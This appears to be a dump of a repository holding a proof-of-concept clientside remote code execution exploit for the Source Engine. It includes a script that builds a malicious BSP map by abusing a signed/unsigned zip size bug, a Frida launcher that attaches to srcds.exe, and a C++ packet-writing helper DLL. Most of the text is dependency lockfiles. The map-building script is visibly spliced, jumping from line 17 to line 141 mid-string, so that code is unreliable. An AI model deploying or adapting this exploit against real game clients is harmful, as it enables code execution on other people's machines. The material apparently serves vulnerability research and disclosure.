├── README.md ├── VC_redist.x86.exe ├── map_leak ├── Pipfile ├── Pipfile.lock ├── __main__.py └── templates │ └── cp_cloak.bsp ├── out.bsp ├── se-extend-src ├── CMakeLists.txt ├── CMakeSettings.json └── se-extend.cpp ├── se-extend.dll └── src ├── Pipfile ├── Pipfile.lock ├── __init__.py ├── __main__.py ├── _agent.js ├── agent ├── index.ts ├── infoleak.ts ├── logger.ts └── source_engine │ ├── classes │ ├── IBaseFileSystem.ts │ ├── bf_write.ts │ ├── cgameclient.ts │ ├── cnetchan.ts │ ├── index.ts │ └── wrappedobject.ts │ ├── extend.ts │ ├── hackerone.ts │ ├── iface.ts │ ├── index.ts │ ├── util.ts │ └── vtable.ts ├── package-lock.json ├── package.json └── tsconfig.json /README.md: -------------------------------------------------------------------------------- 1 | # Clientside RCE PoC in Source Engine 2 | 3 | Patched April 30th, 2021. 4 | 5 | For code related to Frida and the bug chain: ./src/agent/ 6 | 7 | For code related to the map leak script: ./map_leak/ 8 | 9 | More details at: https://ctf.re/source-engine/exploitation/2021/05/01/source-engine-2/ 10 | -------------------------------------------------------------------------------- /VC_redist.x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gbps/sourceengine-packetentities-rce-poc/cb3e886c46c46b7959e7b2b5f595a7ebde1e61e1/VC_redist.x86.exe -------------------------------------------------------------------------------- /map_leak/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | name = "pypi" 3 | url = "https://pypi.org/simple" 4 | verify_ssl = true 5 | 6 | [dev-packages] 7 | pylint = "*" 8 | black = "*" 9 | 10 | [packages] 11 | fastlog = "*" 12 | 13 | [requires] 14 | python_version = "3.7" 15 | 16 | [pipenv] 17 | allow_prereleases = true 18 | -------------------------------------------------------------------------------- /map_leak/Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "d60f8bc6426643ec9172a3876f0f9330ed5c5c7c1106ce7c32dc2822bb9d2359" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.7" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "fastlog": { 20 | "hashes": [ 21 | "sha256:5c0032fcad143adfe4cfbf38b38cf9e63c82966d226aa6c1bf5d6c5e6144c1cf", 22 | "sha256:9c9edba27943dc9af4c6a286e22426fd069b4fc08e136b15ddb344d3935be44f" 23 | ], 24 | "index": "pypi", 25 | "version": "==1.0.0b3" 26 | }, 27 | "six": { 28 | "hashes": [ 29 | "sha256:236bdbdce46e6e6a3d61a337c0f8b763ca1e8717c03b369e87a7ec7ce1319c0a", 30 | "sha256:8f3cd2e254d8f793e7f3d6d9df77b92252b52637291d0f0da013c76ea2724b6c" 31 | ], 32 | "version": "==1.14.0" 33 | } 34 | }, 35 | "develop": { 36 | "appdirs": { 37 | "hashes": [ 38 | "sha256:9e5896d1372858f8dd3344faf4e5014d21849c756c8d5701f78f8a103b372d92", 39 | "sha256:d8b24664561d0d34ddfaec54636d502d7cea6e29c3eaf68f3df6180863e2166e" 40 | ], 41 | "version": "==1.4.3" 42 | }, 43 | "astroid": { 44 | "hashes": [ 45 | "sha256:29fa5d46a2404d01c834fcb802a3943685f1fc538eb2a02a161349f5505ac196", 46 | "sha256:2fecea42b20abb1922ed65c7b5be27edfba97211b04b2b6abc6a43549a024ea6" 47 | ], 48 | "version": "==2.4.0" 49 | }, 50 | "attrs": { 51 | "hashes": [ 52 | "sha256:08a96c641c3a74e44eb59afb61a24f2cb9f4d7188748e76ba4bb5edfa3cb7d1c", 53 | "sha256:f7b7ce16570fe9965acd6d30101a28f62fb4a7f9e926b3bbc9b61f8b04247e72" 54 | ], 55 | "version": "==19.3.0" 56 | }, 57 | "black": { 58 | "hashes": [ 59 | "sha256:1b30e59be925fafc1ee4565e5e08abef6b03fe455102883820fe5ee2e4734e0b", 60 | "sha256:c2edb73a08e9e0e6f65a0e6af18b059b8b1cdd5bef997d7a0b181df93dc81539" 61 | ], 62 | "index": "pypi", 63 | "version": "==19.10b0" 64 | }, 65 | "click": { 66 | "hashes": [ 67 | "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", 68 | "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc" 69 | ], 70 | "version": "==7.1.2" 71 | }, 72 | "colorama": { 73 | "hashes": [ 74 | "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", 75 | "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" 76 | ], 77 | "markers": "sys_platform == 'win32'", 78 | "version": "==0.4.3" 79 | }, 80 | "isort": { 81 | "hashes": [ 82 | "sha256:54da7e92468955c4fceacd0c86bd0ec997b0e1ee80d97f67c35a78b719dccab1", 83 | "sha256:6e811fcb295968434526407adb8796944f1988c5b65e8139058f2014cbe100fd" 84 | ], 85 | "version": "==4.3.21" 86 | }, 87 | "lazy-object-proxy": { 88 | "hashes": [ 89 | "sha256:0c4b206227a8097f05c4dbdd323c50edf81f15db3b8dc064d08c62d37e1a504d", 90 | "sha256:194d092e6f246b906e8f70884e620e459fc54db3259e60cf69a4d66c3fda3449", 91 | "sha256:1be7e4c9f96948003609aa6c974ae59830a6baecc5376c25c92d7d697e684c08", 92 | "sha256:4677f594e474c91da97f489fea5b7daa17b5517190899cf213697e48d3902f5a", 93 | "sha256:48dab84ebd4831077b150572aec802f303117c8cc5c871e182447281ebf3ac50", 94 | "sha256:5541cada25cd173702dbd99f8e22434105456314462326f06dba3e180f203dfd", 95 | "sha256:59f79fef100b09564bc2df42ea2d8d21a64fdcda64979c0fa3db7bdaabaf6239", 96 | "sha256:8d859b89baf8ef7f8bc6b00aa20316483d67f0b1cbf422f5b4dc56701c8f2ffb", 97 | "sha256:9254f4358b9b541e3441b007a0ea0764b9d056afdeafc1a5569eee1cc6c1b9ea", 98 | "sha256:9651375199045a358eb6741df3e02a651e0330be090b3bc79f6d0de31a80ec3e", 99 | "sha256:97bb5884f6f1cdce0099f86b907aa41c970c3c672ac8b9c8352789e103cf3156", 100 | "sha256:9b15f3f4c0f35727d3a0fba4b770b3c4ebbb1fa907dbcc046a1d2799f3edd142", 101 | "sha256:a2238e9d1bb71a56cd710611a1614d1194dc10a175c1e08d75e1a7bcc250d442", 102 | "sha256:a6ae12d08c0bf9909ce12385803a543bfe99b95fe01e752536a60af2b7797c62", 103 | "sha256:ca0a928a3ddbc5725be2dd1cf895ec0a254798915fb3a36af0964a0a4149e3db", 104 | "sha256:cb2c7c57005a6804ab66f106ceb8482da55f5314b7fcb06551db1edae4ad1531", 105 | "sha256:d74bb8693bf9cf75ac3b47a54d716bbb1a92648d5f781fc799347cfc95952383", 106 | "sha256:d945239a5639b3ff35b70a88c5f2f491913eb94871780ebfabb2568bd58afc5a", 107 | "sha256:eba7011090323c1dadf18b3b689845fd96a61ba0a1dfbd7f24b921398affc357", 108 | "sha256:efa1909120ce98bbb3777e8b6f92237f5d5c8ea6758efea36a473e1d38f7d3e4", 109 | "sha256:f3900e8a5de27447acbf900b4750b0ddfd7ec1ea7fbaf11dfa911141bc522af0" 110 | ], 111 | "version": "==1.4.3" 112 | }, 113 | "mccabe": { 114 | "hashes": [ 115 | "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42", 116 | "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f" 117 | ], 118 | "version": "==0.6.1" 119 | }, 120 | "pathspec": { 121 | "hashes": [ 122 | "sha256:7d91249d21749788d07a2d0f94147accd8f845507400749ea19c1ec9054a12b0", 123 | "sha256:da45173eb3a6f2a5a487efba21f050af2b41948be6ab52b6a1e3ff22bb8b7061" 124 | ], 125 | "version": "==0.8.0" 126 | }, 127 | "pylint": { 128 | "hashes": [ 129 | "sha256:588e114e3f9a1630428c35b7dd1c82c1c93e1b0e78ee312ae4724c5e1a1e0245", 130 | "sha256:bd556ba95a4cf55a1fc0004c00cf4560b1e70598a54a74c6904d933c8f3bd5a8" 131 | ], 132 | "index": "pypi", 133 | "version": "==2.5.0" 134 | }, 135 | "regex": { 136 | "hashes": [ 137 | "sha256:08119f707f0ebf2da60d2f24c2f39ca616277bb67ef6c92b72cbf90cbe3a556b", 138 | "sha256:0ce9537396d8f556bcfc317c65b6a0705320701e5ce511f05fc04421ba05b8a8", 139 | "sha256:1cbe0fa0b7f673400eb29e9ef41d4f53638f65f9a2143854de6b1ce2899185c3", 140 | "sha256:2294f8b70e058a2553cd009df003a20802ef75b3c629506be20687df0908177e", 141 | "sha256:23069d9c07e115537f37270d1d5faea3e0bdded8279081c4d4d607a2ad393683", 142 | "sha256:24f4f4062eb16c5bbfff6a22312e8eab92c2c99c51a02e39b4eae54ce8255cd1", 143 | "sha256:295badf61a51add2d428a46b8580309c520d8b26e769868b922750cf3ce67142", 144 | "sha256:2a3bf8b48f8e37c3a40bb3f854bf0121c194e69a650b209628d951190b862de3", 145 | "sha256:4385f12aa289d79419fede43f979e372f527892ac44a541b5446617e4406c468", 146 | "sha256:5635cd1ed0a12b4c42cce18a8d2fb53ff13ff537f09de5fd791e97de27b6400e", 147 | "sha256:5bfed051dbff32fd8945eccca70f5e22b55e4148d2a8a45141a3b053d6455ae3", 148 | "sha256:7e1037073b1b7053ee74c3c6c0ada80f3501ec29d5f46e42669378eae6d4405a", 149 | "sha256:90742c6ff121a9c5b261b9b215cb476eea97df98ea82037ec8ac95d1be7a034f", 150 | "sha256:a58dd45cb865be0ce1d5ecc4cfc85cd8c6867bea66733623e54bd95131f473b6", 151 | "sha256:c087bff162158536387c53647411db09b6ee3f9603c334c90943e97b1052a156", 152 | "sha256:c162a21e0da33eb3d31a3ac17a51db5e634fc347f650d271f0305d96601dc15b", 153 | "sha256:c9423a150d3a4fc0f3f2aae897a59919acd293f4cb397429b120a5fcd96ea3db", 154 | "sha256:ccccdd84912875e34c5ad2d06e1989d890d43af6c2242c6fcfa51556997af6cd", 155 | "sha256:e91ba11da11cf770f389e47c3f5c30473e6d85e06d7fd9dcba0017d2867aab4a", 156 | "sha256:ea4adf02d23b437684cd388d557bf76e3afa72f7fed5bbc013482cc00c816948", 157 | "sha256:fb95debbd1a824b2c4376932f2216cc186912e389bdb0e27147778cf6acb3f89" 158 | ], 159 | "version": "==2020.4.4" 160 | }, 161 | "six": { 162 | "hashes": [ 163 | "sha256:236bdbdce46e6e6a3d61a337c0f8b763ca1e8717c03b369e87a7ec7ce1319c0a", 164 | "sha256:8f3cd2e254d8f793e7f3d6d9df77b92252b52637291d0f0da013c76ea2724b6c" 165 | ], 166 | "version": "==1.14.0" 167 | }, 168 | "toml": { 169 | "hashes": [ 170 | "sha256:229f81c57791a41d65e399fc06bf0848bab550a9dfd5ed66df18ce5f05e73d5c", 171 | "sha256:235682dd292d5899d361a811df37e04a8828a5b1da3115886b73cf81ebc9100e" 172 | ], 173 | "version": "==0.10.0" 174 | }, 175 | "typed-ast": { 176 | "hashes": [ 177 | "sha256:0666aa36131496aed8f7be0410ff974562ab7eeac11ef351def9ea6fa28f6355", 178 | "sha256:0c2c07682d61a629b68433afb159376e24e5b2fd4641d35424e462169c0a7919", 179 | "sha256:249862707802d40f7f29f6e1aad8d84b5aa9e44552d2cc17384b209f091276aa", 180 | "sha256:24995c843eb0ad11a4527b026b4dde3da70e1f2d8806c99b7b4a7cf491612652", 181 | "sha256:269151951236b0f9a6f04015a9004084a5ab0d5f19b57de779f908621e7d8b75", 182 | "sha256:4083861b0aa07990b619bd7ddc365eb7fa4b817e99cf5f8d9cf21a42780f6e01", 183 | "sha256:498b0f36cc7054c1fead3d7fc59d2150f4d5c6c56ba7fb150c013fbc683a8d2d", 184 | "sha256:4e3e5da80ccbebfff202a67bf900d081906c358ccc3d5e3c8aea42fdfdfd51c1", 185 | "sha256:6daac9731f172c2a22ade6ed0c00197ee7cc1221aa84cfdf9c31defeb059a907", 186 | "sha256:715ff2f2df46121071622063fc7543d9b1fd19ebfc4f5c8895af64a77a8c852c", 187 | "sha256:73d785a950fc82dd2a25897d525d003f6378d1cb23ab305578394694202a58c3", 188 | "sha256:8c8aaad94455178e3187ab22c8b01a3837f8ee50e09cf31f1ba129eb293ec30b", 189 | "sha256:8ce678dbaf790dbdb3eba24056d5364fb45944f33553dd5869b7580cdbb83614", 190 | "sha256:aaee9905aee35ba5905cfb3c62f3e83b3bec7b39413f0a7f19be4e547ea01ebb", 191 | "sha256:bcd3b13b56ea479b3650b82cabd6b5343a625b0ced5429e4ccad28a8973f301b", 192 | "sha256:c9e348e02e4d2b4a8b2eedb48210430658df6951fa484e59de33ff773fbd4b41", 193 | "sha256:d205b1b46085271b4e15f670058ce182bd1199e56b317bf2ec004b6a44f911f6", 194 | "sha256:d43943ef777f9a1c42bf4e552ba23ac77a6351de620aa9acf64ad54933ad4d34", 195 | "sha256:d5d33e9e7af3b34a40dc05f498939f0ebf187f07c385fd58d591c533ad8562fe", 196 | "sha256:fc0fea399acb12edbf8a628ba8d2312f583bdbdb3335635db062fa98cf71fca4", 197 | "sha256:fe460b922ec15dd205595c9b5b99e2f056fd98ae8f9f56b888e7a17dc2b757e7" 198 | ], 199 | "markers": "implementation_name == 'cpython' and python_version < '3.8'", 200 | "version": "==1.4.1" 201 | }, 202 | "wrapt": { 203 | "hashes": [ 204 | "sha256:b62ffa81fb85f4332a4f609cab4ac40709470da05643a082ec1eb88e6d9b97d7" 205 | ], 206 | "version": "==1.12.1" 207 | } 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /map_leak/__main__.py: -------------------------------------------------------------------------------- 1 | import zipfile 2 | import argparse 3 | import logging 4 | from fastlog import log 5 | import os 6 | import struct 7 | 8 | PAYLOAD = b"\x41" 9 | 10 | # offset in the ZIPDIRENTRY to the compressed and uncompressed sizes 11 | ZIP_DIRENTRY_OFFSET_TO_COMPRESSED_SIZE = 20 12 | 13 | # offset into the BSP for the location of the pakfile lump 14 | BSP_OFFSET_TO_PAKFILE_LUMP = 0x288 15 | 16 | # there are two packed integers there, fileoffset and filelength 17 | BSP_LUMP_DESC = ">> The bug! The uncompressed size is interpreted as a *signed* integer, but when read from the file pointer, is read as an *unsigned* integer 141 | TARGET_SIZE = 0xFFFFFF00 142 | temp_zip.write(struct.pack(" 2 | 3 | 4 | DLL_EXPORT bf_write* bfwrite_New(char* buffer, int numBytes) 5 | { 6 | memset(buffer, 0, numBytes); 7 | return new bf_write(buffer, numBytes); 8 | } 9 | 10 | DLL_EXPORT void bfwrite_WriteOneBit(bf_write* _this, int bit) 11 | { 12 | _this->WriteOneBit(bit); 13 | } 14 | 15 | DLL_EXPORT void bfwrite_WriteOneByte(bf_write* _this, int byte) 16 | { 17 | _this->WriteByte(byte); 18 | } 19 | 20 | DLL_EXPORT void bfwrite_WriteUBitVar(bf_write* _this, int value) 21 | { 22 | _this->WriteUBitVar(value); 23 | } 24 | 25 | DLL_EXPORT void bfwrite_Reset(bf_write* _this) 26 | { 27 | _this->Reset(); 28 | } 29 | 30 | DLL_EXPORT void bfwrite_WriteUBitLong(bf_write* _this, int value, int size) 31 | { 32 | _this->WriteUBitLong(value, size); 33 | } 34 | 35 | DLL_EXPORT void bfwrite_WriteString(bf_write* _this, const char* str) 36 | { 37 | _this->WriteString(str); 38 | } 39 | 40 | DLL_EXPORT void bfwrite_WriteLong(bf_write* _this, long value) 41 | { 42 | _this->WriteLong(value); 43 | } 44 | 45 | DLL_EXPORT void bfwrite_Destroy(bf_write* _this) 46 | { 47 | delete _this; 48 | } 49 | -------------------------------------------------------------------------------- /se-extend.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gbps/sourceengine-packetentities-rce-poc/cb3e886c46c46b7959e7b2b5f595a7ebde1e61e1/se-extend.dll -------------------------------------------------------------------------------- /src/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | name = "pypi" 3 | url = "https://pypi.org/simple" 4 | verify_ssl = true 5 | 6 | [dev-packages] 7 | pylint = "*" 8 | black = "*" 9 | 10 | [packages] 11 | frida = "*" 12 | msvc-vtables = {git = "ssh://git@github.com/Gbps/msvc_vtables.git"} 13 | 14 | [requires] 15 | python_version = "3.7" 16 | 17 | [pipenv] 18 | allow_prereleases = true 19 | -------------------------------------------------------------------------------- /src/Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "1196d9b5a2eaf0b0c174b7b58ec27d29b7966f512460133158d822a45c4581bd" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.7" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "frida": { 20 | "hashes": [ 21 | "sha256:f0f80c2d53ae3359501515c0eea54ce7dbaf7c0402934ae59faefd3fba52ce88" 22 | ], 23 | "index": "pypi", 24 | "version": "==12.8.20" 25 | }, 26 | "msvc-vtables": { 27 | "git": "ssh://git@github.com/Gbps/msvc_vtables.git", 28 | "ref": "66b6476c6f73e6e1c89a3952296157dd274f3d70" 29 | } 30 | }, 31 | "develop": { 32 | "appdirs": { 33 | "hashes": [ 34 | "sha256:9e5896d1372858f8dd3344faf4e5014d21849c756c8d5701f78f8a103b372d92", 35 | "sha256:d8b24664561d0d34ddfaec54636d502d7cea6e29c3eaf68f3df6180863e2166e" 36 | ], 37 | "version": "==1.4.3" 38 | }, 39 | "astroid": { 40 | "hashes": [ 41 | "sha256:29fa5d46a2404d01c834fcb802a3943685f1fc538eb2a02a161349f5505ac196", 42 | "sha256:2fecea42b20abb1922ed65c7b5be27edfba97211b04b2b6abc6a43549a024ea6" 43 | ], 44 | "version": "==2.4.0" 45 | }, 46 | "attrs": { 47 | "hashes": [ 48 | "sha256:08a96c641c3a74e44eb59afb61a24f2cb9f4d7188748e76ba4bb5edfa3cb7d1c", 49 | "sha256:f7b7ce16570fe9965acd6d30101a28f62fb4a7f9e926b3bbc9b61f8b04247e72" 50 | ], 51 | "version": "==19.3.0" 52 | }, 53 | "black": { 54 | "hashes": [ 55 | "sha256:1b30e59be925fafc1ee4565e5e08abef6b03fe455102883820fe5ee2e4734e0b", 56 | "sha256:c2edb73a08e9e0e6f65a0e6af18b059b8b1cdd5bef997d7a0b181df93dc81539" 57 | ], 58 | "index": "pypi", 59 | "version": "==19.10b0" 60 | }, 61 | "click": { 62 | "hashes": [ 63 | "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", 64 | "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc" 65 | ], 66 | "version": "==7.1.2" 67 | }, 68 | "colorama": { 69 | "hashes": [ 70 | "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", 71 | "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" 72 | ], 73 | "markers": "sys_platform == 'win32'", 74 | "version": "==0.4.3" 75 | }, 76 | "isort": { 77 | "hashes": [ 78 | "sha256:54da7e92468955c4fceacd0c86bd0ec997b0e1ee80d97f67c35a78b719dccab1", 79 | "sha256:6e811fcb295968434526407adb8796944f1988c5b65e8139058f2014cbe100fd" 80 | ], 81 | "version": "==4.3.21" 82 | }, 83 | "lazy-object-proxy": { 84 | "hashes": [ 85 | "sha256:0c4b206227a8097f05c4dbdd323c50edf81f15db3b8dc064d08c62d37e1a504d", 86 | "sha256:194d092e6f246b906e8f70884e620e459fc54db3259e60cf69a4d66c3fda3449", 87 | "sha256:1be7e4c9f96948003609aa6c974ae59830a6baecc5376c25c92d7d697e684c08", 88 | "sha256:4677f594e474c91da97f489fea5b7daa17b5517190899cf213697e48d3902f5a", 89 | "sha256:48dab84ebd4831077b150572aec802f303117c8cc5c871e182447281ebf3ac50", 90 | "sha256:5541cada25cd173702dbd99f8e22434105456314462326f06dba3e180f203dfd", 91 | "sha256:59f79fef100b09564bc2df42ea2d8d21a64fdcda64979c0fa3db7bdaabaf6239", 92 | "sha256:8d859b89baf8ef7f8bc6b00aa20316483d67f0b1cbf422f5b4dc56701c8f2ffb", 93 | "sha256:9254f4358b9b541e3441b007a0ea0764b9d056afdeafc1a5569eee1cc6c1b9ea", 94 | "sha256:9651375199045a358eb6741df3e02a651e0330be090b3bc79f6d0de31a80ec3e", 95 | "sha256:97bb5884f6f1cdce0099f86b907aa41c970c3c672ac8b9c8352789e103cf3156", 96 | "sha256:9b15f3f4c0f35727d3a0fba4b770b3c4ebbb1fa907dbcc046a1d2799f3edd142", 97 | "sha256:a2238e9d1bb71a56cd710611a1614d1194dc10a175c1e08d75e1a7bcc250d442", 98 | "sha256:a6ae12d08c0bf9909ce12385803a543bfe99b95fe01e752536a60af2b7797c62", 99 | "sha256:ca0a928a3ddbc5725be2dd1cf895ec0a254798915fb3a36af0964a0a4149e3db", 100 | "sha256:cb2c7c57005a6804ab66f106ceb8482da55f5314b7fcb06551db1edae4ad1531", 101 | "sha256:d74bb8693bf9cf75ac3b47a54d716bbb1a92648d5f781fc799347cfc95952383", 102 | "sha256:d945239a5639b3ff35b70a88c5f2f491913eb94871780ebfabb2568bd58afc5a", 103 | "sha256:eba7011090323c1dadf18b3b689845fd96a61ba0a1dfbd7f24b921398affc357", 104 | "sha256:efa1909120ce98bbb3777e8b6f92237f5d5c8ea6758efea36a473e1d38f7d3e4", 105 | "sha256:f3900e8a5de27447acbf900b4750b0ddfd7ec1ea7fbaf11dfa911141bc522af0" 106 | ], 107 | "version": "==1.4.3" 108 | }, 109 | "mccabe": { 110 | "hashes": [ 111 | "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42", 112 | "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f" 113 | ], 114 | "version": "==0.6.1" 115 | }, 116 | "pathspec": { 117 | "hashes": [ 118 | "sha256:7d91249d21749788d07a2d0f94147accd8f845507400749ea19c1ec9054a12b0", 119 | "sha256:da45173eb3a6f2a5a487efba21f050af2b41948be6ab52b6a1e3ff22bb8b7061" 120 | ], 121 | "version": "==0.8.0" 122 | }, 123 | "pylint": { 124 | "hashes": [ 125 | "sha256:588e114e3f9a1630428c35b7dd1c82c1c93e1b0e78ee312ae4724c5e1a1e0245", 126 | "sha256:bd556ba95a4cf55a1fc0004c00cf4560b1e70598a54a74c6904d933c8f3bd5a8" 127 | ], 128 | "index": "pypi", 129 | "version": "==2.5.0" 130 | }, 131 | "regex": { 132 | "hashes": [ 133 | "sha256:08119f707f0ebf2da60d2f24c2f39ca616277bb67ef6c92b72cbf90cbe3a556b", 134 | "sha256:0ce9537396d8f556bcfc317c65b6a0705320701e5ce511f05fc04421ba05b8a8", 135 | "sha256:1cbe0fa0b7f673400eb29e9ef41d4f53638f65f9a2143854de6b1ce2899185c3", 136 | "sha256:2294f8b70e058a2553cd009df003a20802ef75b3c629506be20687df0908177e", 137 | "sha256:23069d9c07e115537f37270d1d5faea3e0bdded8279081c4d4d607a2ad393683", 138 | "sha256:24f4f4062eb16c5bbfff6a22312e8eab92c2c99c51a02e39b4eae54ce8255cd1", 139 | "sha256:295badf61a51add2d428a46b8580309c520d8b26e769868b922750cf3ce67142", 140 | "sha256:2a3bf8b48f8e37c3a40bb3f854bf0121c194e69a650b209628d951190b862de3", 141 | "sha256:4385f12aa289d79419fede43f979e372f527892ac44a541b5446617e4406c468", 142 | "sha256:5635cd1ed0a12b4c42cce18a8d2fb53ff13ff537f09de5fd791e97de27b6400e", 143 | "sha256:5bfed051dbff32fd8945eccca70f5e22b55e4148d2a8a45141a3b053d6455ae3", 144 | "sha256:7e1037073b1b7053ee74c3c6c0ada80f3501ec29d5f46e42669378eae6d4405a", 145 | "sha256:90742c6ff121a9c5b261b9b215cb476eea97df98ea82037ec8ac95d1be7a034f", 146 | "sha256:a58dd45cb865be0ce1d5ecc4cfc85cd8c6867bea66733623e54bd95131f473b6", 147 | "sha256:c087bff162158536387c53647411db09b6ee3f9603c334c90943e97b1052a156", 148 | "sha256:c162a21e0da33eb3d31a3ac17a51db5e634fc347f650d271f0305d96601dc15b", 149 | "sha256:c9423a150d3a4fc0f3f2aae897a59919acd293f4cb397429b120a5fcd96ea3db", 150 | "sha256:ccccdd84912875e34c5ad2d06e1989d890d43af6c2242c6fcfa51556997af6cd", 151 | "sha256:e91ba11da11cf770f389e47c3f5c30473e6d85e06d7fd9dcba0017d2867aab4a", 152 | "sha256:ea4adf02d23b437684cd388d557bf76e3afa72f7fed5bbc013482cc00c816948", 153 | "sha256:fb95debbd1a824b2c4376932f2216cc186912e389bdb0e27147778cf6acb3f89" 154 | ], 155 | "version": "==2020.4.4" 156 | }, 157 | "six": { 158 | "hashes": [ 159 | "sha256:236bdbdce46e6e6a3d61a337c0f8b763ca1e8717c03b369e87a7ec7ce1319c0a", 160 | "sha256:8f3cd2e254d8f793e7f3d6d9df77b92252b52637291d0f0da013c76ea2724b6c" 161 | ], 162 | "version": "==1.14.0" 163 | }, 164 | "toml": { 165 | "hashes": [ 166 | "sha256:229f81c57791a41d65e399fc06bf0848bab550a9dfd5ed66df18ce5f05e73d5c", 167 | "sha256:235682dd292d5899d361a811df37e04a8828a5b1da3115886b73cf81ebc9100e" 168 | ], 169 | "version": "==0.10.0" 170 | }, 171 | "typed-ast": { 172 | "hashes": [ 173 | "sha256:0666aa36131496aed8f7be0410ff974562ab7eeac11ef351def9ea6fa28f6355", 174 | "sha256:0c2c07682d61a629b68433afb159376e24e5b2fd4641d35424e462169c0a7919", 175 | "sha256:249862707802d40f7f29f6e1aad8d84b5aa9e44552d2cc17384b209f091276aa", 176 | "sha256:24995c843eb0ad11a4527b026b4dde3da70e1f2d8806c99b7b4a7cf491612652", 177 | "sha256:269151951236b0f9a6f04015a9004084a5ab0d5f19b57de779f908621e7d8b75", 178 | "sha256:4083861b0aa07990b619bd7ddc365eb7fa4b817e99cf5f8d9cf21a42780f6e01", 179 | "sha256:498b0f36cc7054c1fead3d7fc59d2150f4d5c6c56ba7fb150c013fbc683a8d2d", 180 | "sha256:4e3e5da80ccbebfff202a67bf900d081906c358ccc3d5e3c8aea42fdfdfd51c1", 181 | "sha256:6daac9731f172c2a22ade6ed0c00197ee7cc1221aa84cfdf9c31defeb059a907", 182 | "sha256:715ff2f2df46121071622063fc7543d9b1fd19ebfc4f5c8895af64a77a8c852c", 183 | "sha256:73d785a950fc82dd2a25897d525d003f6378d1cb23ab305578394694202a58c3", 184 | "sha256:8c8aaad94455178e3187ab22c8b01a3837f8ee50e09cf31f1ba129eb293ec30b", 185 | "sha256:8ce678dbaf790dbdb3eba24056d5364fb45944f33553dd5869b7580cdbb83614", 186 | "sha256:aaee9905aee35ba5905cfb3c62f3e83b3bec7b39413f0a7f19be4e547ea01ebb", 187 | "sha256:bcd3b13b56ea479b3650b82cabd6b5343a625b0ced5429e4ccad28a8973f301b", 188 | "sha256:c9e348e02e4d2b4a8b2eedb48210430658df6951fa484e59de33ff773fbd4b41", 189 | "sha256:d205b1b46085271b4e15f670058ce182bd1199e56b317bf2ec004b6a44f911f6", 190 | "sha256:d43943ef777f9a1c42bf4e552ba23ac77a6351de620aa9acf64ad54933ad4d34", 191 | "sha256:d5d33e9e7af3b34a40dc05f498939f0ebf187f07c385fd58d591c533ad8562fe", 192 | "sha256:fc0fea399acb12edbf8a628ba8d2312f583bdbdb3335635db062fa98cf71fca4", 193 | "sha256:fe460b922ec15dd205595c9b5b99e2f056fd98ae8f9f56b888e7a17dc2b757e7" 194 | ], 195 | "markers": "implementation_name == 'cpython' and python_version < '3.8'", 196 | "version": "==1.4.1" 197 | }, 198 | "wrapt": { 199 | "hashes": [ 200 | "sha256:b62ffa81fb85f4332a4f609cab4ac40709470da05643a082ec1eb88e6d9b97d7" 201 | ], 202 | "version": "==1.12.1" 203 | } 204 | } 205 | } 206 | -------------------------------------------------------------------------------- /src/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gbps/sourceengine-packetentities-rce-poc/cb3e886c46c46b7959e7b2b5f595a7ebde1e61e1/src/__init__.py -------------------------------------------------------------------------------- /src/__main__.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import frida 3 | import os 4 | 5 | import fastlog.styles.pwntools 6 | 7 | # Is this the build that has no map leak built in? 8 | BUILD_NO_LEAK = False 9 | ENGINE_BASE = None 10 | 11 | # from retsync_frida import RetSyncClient, add_retsync 12 | # import msvc_vtables 13 | 14 | if BUILD_NO_LEAK: 15 | import argparse 16 | 17 | aparse = argparse.ArgumentParser() 18 | aparse.add_argument( 19 | "--engine_base", 20 | type=lambda x: int(x, 16), 21 | required=True, 22 | help='Put the base of engine.dll in hl2.exe here in hex. Example: "0x7A7F0000". This argument simulates chaining an info leak bug.', 23 | ) 24 | args = aparse.parse_args() 25 | 26 | ENGINE_BASE = args.engine_base 27 | 28 | # set current directory to wherever our python module is location 29 | abspath = os.path.abspath(__file__) 30 | dname = os.path.dirname(abspath) 31 | os.chdir(dname) 32 | 33 | 34 | def on_message(message, data): 35 | if message.get("payload") and message.get("payload").get("!retsync"): 36 | return 37 | print("[%s] => %s" % (message, data)) 38 | 39 | 40 | def main(): 41 | # print("Connecting to ret-sync...") 42 | 43 | # client = RetSyncClient() 44 | # client.connect("localhost", 9100) 45 | 46 | # print("Connected to ret-sync") 47 | 48 | # get the hl2 process 49 | session = frida.attach("srcds.exe") 50 | 